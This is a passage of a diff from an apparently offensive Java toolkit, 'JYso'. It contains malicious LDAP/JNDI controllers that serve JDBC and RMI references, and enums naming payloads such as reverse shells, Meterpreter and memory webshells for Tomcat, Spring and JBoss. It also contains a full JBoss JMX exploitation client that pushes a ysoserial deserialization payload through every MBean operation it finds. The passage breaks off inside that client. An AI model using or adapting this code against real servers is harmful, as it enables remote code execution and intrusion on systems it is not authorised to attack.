e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
|
||||
sn++;
|
||||
}
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
|
||||
try {
|
||||
printResultJDBC2(base);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import javax.naming.RefAddr;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.util.Enumeration;
|
||||
|
||||
@LdapMapping(uri = {"/jdbc2"})
|
||||
public class jdbcController2 implements LdapController {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(jdbcController2.class);
|
||||
private static String payloadType;
|
||||
private static String factoryType;
|
||||
private static String[] params;
|
||||
private static GadgetType gadgetType;
|
||||
|
||||
public static void printResultJDBC2(String base) throws Exception {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
|
||||
try {
|
||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||
|
||||
if (fourthIndex != -1) {
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
Entry e = new Entry(base);
|
||||
String driver = payloadType;
|
||||
String JDBC_URL = params[0];
|
||||
|
||||
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
|
||||
ref.add(new StringRefAddr("driverClassName", driver));
|
||||
ref.add(new StringRefAddr("url", JDBC_URL));
|
||||
ref.add(new StringRefAddr("initialSize", "1"));
|
||||
|
||||
e.addAttribute("objectClass", "javaNamingReference");
|
||||
e.addAttribute("javaClassName", ref.getClassName());
|
||||
e.addAttribute("javaFactory", ref.getFactoryClassName());
|
||||
|
||||
Enumeration<RefAddr> enumeration = ref.getAll();
|
||||
int sn = 0;
|
||||
|
||||
while (enumeration.hasMoreElements()) {
|
||||
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
|
||||
e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
|
||||
sn++;
|
||||
}
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
|
||||
try {
|
||||
printResultJDBC2(base);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,44 +1,44 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
@LdapMapping(uri = {"/ldap2rmi"})
|
||||
public class ldap2rmiController implements LdapController {
|
||||
|
||||
private final String ip = Config.ip;
|
||||
private final String rmiPort = String.valueOf(Config.rmiPort);
|
||||
private String path;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
System.out.println("- Change LDAP to RMI ");
|
||||
|
||||
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
|
||||
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
base = base.replace('\\', '/');
|
||||
int index = base.indexOf('/');
|
||||
if (index != -1) {
|
||||
path = base.substring(index);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
@LdapMapping(uri = {"/ldap2rmi"})
|
||||
public class ldap2rmiController implements LdapController {
|
||||
|
||||
private final String ip = Config.ip;
|
||||
private final String rmiPort = String.valueOf(Config.rmiPort);
|
||||
private String path;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
System.out.println("- Change LDAP to RMI ");
|
||||
|
||||
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
|
||||
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
base = base.replace('\\', '/');
|
||||
int index = base.indexOf('/');
|
||||
if (index != -1) {
|
||||
path = base.substring(index);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,39 +1,39 @@
|
||||
package com.qi4l.JYso.controllers.utils;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
public class JNDIUtils {
|
||||
private static final String ALGORITHM = "AES";
|
||||
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
|
||||
private static final int KEY_SIZE = 16;
|
||||
|
||||
public static String decrypt(String ciphertext, String key) throws Exception {
|
||||
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
|
||||
byte[] ivBytes = new byte[KEY_SIZE];
|
||||
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
|
||||
|
||||
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
|
||||
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
|
||||
|
||||
byte[] keyBytes = getKeyBytes(key);
|
||||
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
|
||||
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
|
||||
|
||||
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
|
||||
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
|
||||
|
||||
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
|
||||
return new String(decryptedBytes, StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
private static byte[] getKeyBytes(String key) {
|
||||
byte[] keyBytes = new byte[KEY_SIZE];
|
||||
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
|
||||
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
|
||||
return keyBytes;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers.utils;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
public class JNDIUtils {
|
||||
private static final String ALGORITHM = "AES";
|
||||
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
|
||||
private static final int KEY_SIZE = 16;
|
||||
|
||||
public static String decrypt(String ciphertext, String key) throws Exception {
|
||||
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
|
||||
byte[] ivBytes = new byte[KEY_SIZE];
|
||||
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
|
||||
|
||||
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
|
||||
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
|
||||
|
||||
byte[] keyBytes = getKeyBytes(key);
|
||||
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
|
||||
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
|
||||
|
||||
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
|
||||
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
|
||||
|
||||
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
|
||||
return new String(decryptedBytes, StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
private static byte[] getKeyBytes(String key) {
|
||||
byte[] keyBytes = new byte[KEY_SIZE];
|
||||
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
|
||||
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
|
||||
return keyBytes;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
package com.qi4l.JYso.enumtypes;
|
||||
|
||||
public enum GadgetType {
|
||||
base64Two,
|
||||
msf,
|
||||
base64,
|
||||
shell,
|
||||
}
|
||||
package com.qi4l.JYso.enumtypes;
|
||||
|
||||
public enum GadgetType {
|
||||
base64Two,
|
||||
msf,
|
||||
base64,
|
||||
shell,
|
||||
}
|
||||
|
||||
@@ -1,47 +1,47 @@
|
||||
package com.qi4l.JYso.enumtypes;
|
||||
|
||||
public enum PayloadType {
|
||||
sethttp,
|
||||
dnslog,
|
||||
tomcatupgrade,
|
||||
command,
|
||||
reverseshell,
|
||||
tomcatecho,
|
||||
springecho,
|
||||
weblogicecho,
|
||||
windowsecho,
|
||||
linuxecho2,
|
||||
linuxecho1,
|
||||
allecho,
|
||||
websphereecho,
|
||||
resinecho,
|
||||
tomcatfilterjmx,
|
||||
tomcatfilterth,
|
||||
tomcatlistenerjmx,
|
||||
tomcatlistenerth,
|
||||
tomcatservletjmx,
|
||||
tomcatservletth,
|
||||
jbossfilter,
|
||||
jbossservlet,
|
||||
webspherememshell,
|
||||
springinterceptor,
|
||||
springcontroller,
|
||||
issuccess,
|
||||
jettyfilter,
|
||||
jettyservlet,
|
||||
struts2actionms,
|
||||
wsfilter,
|
||||
tomcatexecutor,
|
||||
meterpreter,
|
||||
resinfilterth,
|
||||
resinservletth,
|
||||
jbossecho,
|
||||
jettyecho,
|
||||
cmsmsbync,
|
||||
proxymsbync,
|
||||
wsresin,
|
||||
mstsjproxy,
|
||||
mstsjser,
|
||||
wsweblogic,
|
||||
wswebsphereproxy,
|
||||
}
|
||||
package com.qi4l.JYso.enumtypes;
|
||||
|
||||
public enum PayloadType {
|
||||
sethttp,
|
||||
dnslog,
|
||||
tomcatupgrade,
|
||||
command,
|
||||
reverseshell,
|
||||
tomcatecho,
|
||||
springecho,
|
||||
weblogicecho,
|
||||
windowsecho,
|
||||
linuxecho2,
|
||||
linuxecho1,
|
||||
allecho,
|
||||
websphereecho,
|
||||
resinecho,
|
||||
tomcatfilterjmx,
|
||||
tomcatfilterth,
|
||||
tomcatlistenerjmx,
|
||||
tomcatlistenerth,
|
||||
tomcatservletjmx,
|
||||
tomcatservletth,
|
||||
jbossfilter,
|
||||
jbossservlet,
|
||||
webspherememshell,
|
||||
springinterceptor,
|
||||
springcontroller,
|
||||
issuccess,
|
||||
jettyfilter,
|
||||
jettyservlet,
|
||||
struts2actionms,
|
||||
wsfilter,
|
||||
tomcatexecutor,
|
||||
meterpreter,
|
||||
resinfilterth,
|
||||
resinservletth,
|
||||
jbossecho,
|
||||
jettyecho,
|
||||
cmsmsbync,
|
||||
proxymsbync,
|
||||
wsresin,
|
||||
mstsjproxy,
|
||||
mstsjser,
|
||||
wsweblogic,
|
||||
wswebsphereproxy,
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package com.qi4l.JYso.enumtypes;
|
||||
|
||||
public enum WebsphereActionType {
|
||||
list,
|
||||
upload,
|
||||
rce;
|
||||
}
|
||||
package com.qi4l.JYso.enumtypes;
|
||||
|
||||
public enum WebsphereActionType {
|
||||
list,
|
||||
upload,
|
||||
rce;
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class IncorrectParamsException extends RuntimeException {
|
||||
public IncorrectParamsException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public IncorrectParamsException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class IncorrectParamsException extends RuntimeException {
|
||||
public IncorrectParamsException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public IncorrectParamsException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class UnSupportedActionTypeException extends RuntimeException {
|
||||
public UnSupportedActionTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedActionTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class UnSupportedActionTypeException extends RuntimeException {
|
||||
public UnSupportedActionTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedActionTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class UnSupportedGadgetTypeException extends RuntimeException {
|
||||
public UnSupportedGadgetTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedGadgetTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class UnSupportedGadgetTypeException extends RuntimeException {
|
||||
public UnSupportedGadgetTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedGadgetTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class UnSupportedPayloadTypeException extends RuntimeException {
|
||||
public UnSupportedPayloadTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedPayloadTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.exceptions;
|
||||
|
||||
public class UnSupportedPayloadTypeException extends RuntimeException {
|
||||
public UnSupportedPayloadTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedPayloadTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,376 +1,376 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.jboss.remoting3.*;
|
||||
import org.jboss.remoting3.Connection;
|
||||
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
|
||||
import org.jboss.remoting3.spi.*;
|
||||
import org.jboss.remotingjmx.VersionedConnection;
|
||||
import org.xnio.*;
|
||||
import org.xnio.IoFuture.Status;
|
||||
import org.xnio.ssl.JsseXnioSsl;
|
||||
import org.xnio.ssl.XnioSsl;
|
||||
|
||||
import javax.management.*;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
import javax.security.auth.callback.*;
|
||||
import javax.security.sasl.RealmCallback;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.SocketAddress;
|
||||
import java.net.URI;
|
||||
import java.security.KeyManagementException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.NoSuchProviderException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.*;
|
||||
import java.util.logging.*;
|
||||
|
||||
|
||||
/**
|
||||
* An exploitation client for JBoss AS/Wildfly JMX
|
||||
* <p>
|
||||
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
|
||||
* <p>
|
||||
* This is not as readily exploitable as in other pieces of software:
|
||||
* 1. they only allow authenticated access by default
|
||||
* 2. they have a very strict module architecture:
|
||||
* - all MBeans exported by default use classloaders that expose almost nothing useful
|
||||
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
||||
* <p>
|
||||
* This client enumerates all application exported MBean method which are then called
|
||||
* delivering the specified payload.
|
||||
* <p>
|
||||
* I.e. you can successfully exploit that
|
||||
* - you have access to the interface
|
||||
* (username/password can be specified via URL, note: despite not noticeable,
|
||||
* local connections implicitly use authentication)
|
||||
* - there is an application exported MBean
|
||||
* - that application imports the classes required for the gadget chain
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"rawtypes"
|
||||
})
|
||||
public class JBoss {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 5) {
|
||||
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
URI u = URI.create(args[0]);
|
||||
|
||||
// 去除前一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
String username = null;
|
||||
String password = null;
|
||||
if (u.getUserInfo() != null) {
|
||||
int sep = u.getUserInfo().indexOf(':');
|
||||
if (sep >= 0) {
|
||||
username = u.getUserInfo().substring(0, sep);
|
||||
password = u.getUserInfo().substring(sep + 1);
|
||||
} else {
|
||||
System.err.println("Need <user>:<password>@");
|
||||
System.exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
doRun(u, payloadObject, username, password);
|
||||
}
|
||||
|
||||
|
||||
private static void doRun(URI u, final Object payloadObject, String username, String password) {
|
||||
ConnectionProvider instance = null;
|
||||
ConnectionProviderContextImpl context = null;
|
||||
ConnectionHandler ch = null;
|
||||
Channel c = null;
|
||||
VersionedConnection vc = null;
|
||||
try {
|
||||
Logger logger = LogManager.getLogManager().getLogger("");
|
||||
logger.addHandler(new ConsoleLogHandler());
|
||||
logger.setLevel(Level.INFO);
|
||||
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
|
||||
context = new ConnectionProviderContextImpl(options, "endpoint");
|
||||
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
|
||||
String host = u.getHost();
|
||||
int port = u.getPort() > 0 ? u.getPort() : 9990;
|
||||
SocketAddress destination = new InetSocketAddress(host, port);
|
||||
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
|
||||
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
|
||||
c = getChannel(context, ch, options);
|
||||
System.err.println("Connected");
|
||||
vc = makeVersionedConnection(c);
|
||||
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
|
||||
doExploit(payloadObject, mbc);
|
||||
System.err.println("DONE");
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
cleanup(instance, context, ch, c, vc);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
|
||||
VersionedConnection vc) {
|
||||
if (vc != null) {
|
||||
vc.close();
|
||||
}
|
||||
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (ch != null) {
|
||||
try {
|
||||
ch.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
if (instance != null) {
|
||||
try {
|
||||
instance.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
context.getXnioWorker().shutdown();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
|
||||
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
|
||||
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
|
||||
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
|
||||
FutureResult<ConnectionHandlerFactory> result = new FutureResult<>();
|
||||
instance.connect(null, destination, options, result, callbacks -> {
|
||||
|
||||
for (Callback cb : callbacks) {
|
||||
|
||||
if (cb instanceof NameCallback) {
|
||||
((NameCallback) cb).setName(username);
|
||||
} else if (cb instanceof PasswordCallback) {
|
||||
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
|
||||
} else if (!(cb instanceof RealmCallback)) {
|
||||
System.err.println(cb);
|
||||
throw new UnsupportedCallbackException(cb);
|
||||
}
|
||||
}
|
||||
}, xnioSsl);
|
||||
|
||||
System.err.println("waiting for connection");
|
||||
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
|
||||
Status s = ioFuture.await(5, TimeUnit.SECONDS);
|
||||
if (s == Status.FAILED) {
|
||||
System.err.println("Cannot connect");
|
||||
if (ioFuture.getException() != null) {
|
||||
ioFuture.getException().printStackTrace(System.err);
|
||||
}
|
||||
} else if (s != Status.DONE) {
|
||||
ioFuture.cancel();
|
||||
System.err.println("Connect timeout");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
return ioFuture.getInterruptibly();
|
||||
}
|
||||
|
||||
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
|
||||
Channel c;
|
||||
FutureResult<Channel> chResult = new FutureResult<>(context.getExecutor());
|
||||
ch.open("jmx", chResult, options);
|
||||
|
||||
IoFuture<Channel> cFuture = chResult.getIoFuture();
|
||||
Status s2 = cFuture.await();
|
||||
if (s2 == Status.FAILED) {
|
||||
System.err.println("Cannot connect");
|
||||
if (cFuture.getException() != null) {
|
||||
throw new IOException("Connect failed", cFuture.getException());
|
||||
}
|
||||
} else if (s2 != Status.DONE) {
|
||||
cFuture.cancel();
|
||||
throw new IOException("Connect timeout");
|
||||
}
|
||||
|
||||
c = cFuture.get();
|
||||
return c;
|
||||
}
|
||||
|
||||
|
||||
private static VersionedConnection makeVersionedConnection(Channel c)
|
||||
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
|
||||
VersionedConnection vc;
|
||||
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
|
||||
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
|
||||
Reflections.setAccessible(vcCreate);
|
||||
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
|
||||
return vc;
|
||||
}
|
||||
|
||||
|
||||
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
|
||||
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
|
||||
Object[] params = new Object[1];
|
||||
params[0] = payloadObject;
|
||||
System.err.println("Querying MBeans");
|
||||
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
|
||||
System.err.println("Found " + testMBeans.size() + " MBeans");
|
||||
for (ObjectInstance oi : testMBeans) {
|
||||
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
|
||||
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
|
||||
try {
|
||||
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
|
||||
return;
|
||||
} catch (Throwable e) {
|
||||
String msg = e.getMessage();
|
||||
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
|
||||
int start = msg.indexOf('"');
|
||||
int stop = msg.indexOf('"', start + 1);
|
||||
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
|
||||
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
|
||||
int c_start = msg.indexOf(':');
|
||||
int c_end = msg.indexOf(' ', c_start + 2);
|
||||
String cls = msg.substring(c_start + 2, c_end);
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")");
|
||||
}
|
||||
} else {
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static final class ConsoleLogHandler extends Handler {
|
||||
|
||||
|
||||
@Override
|
||||
public void publish(LogRecord record) {
|
||||
System.err.println(record.getMessage());
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void flush() {
|
||||
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void close() throws SecurityException {
|
||||
}
|
||||
}
|
||||
|
||||
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
||||
|
||||
private final ConnectionProviderContextImpl context;
|
||||
|
||||
|
||||
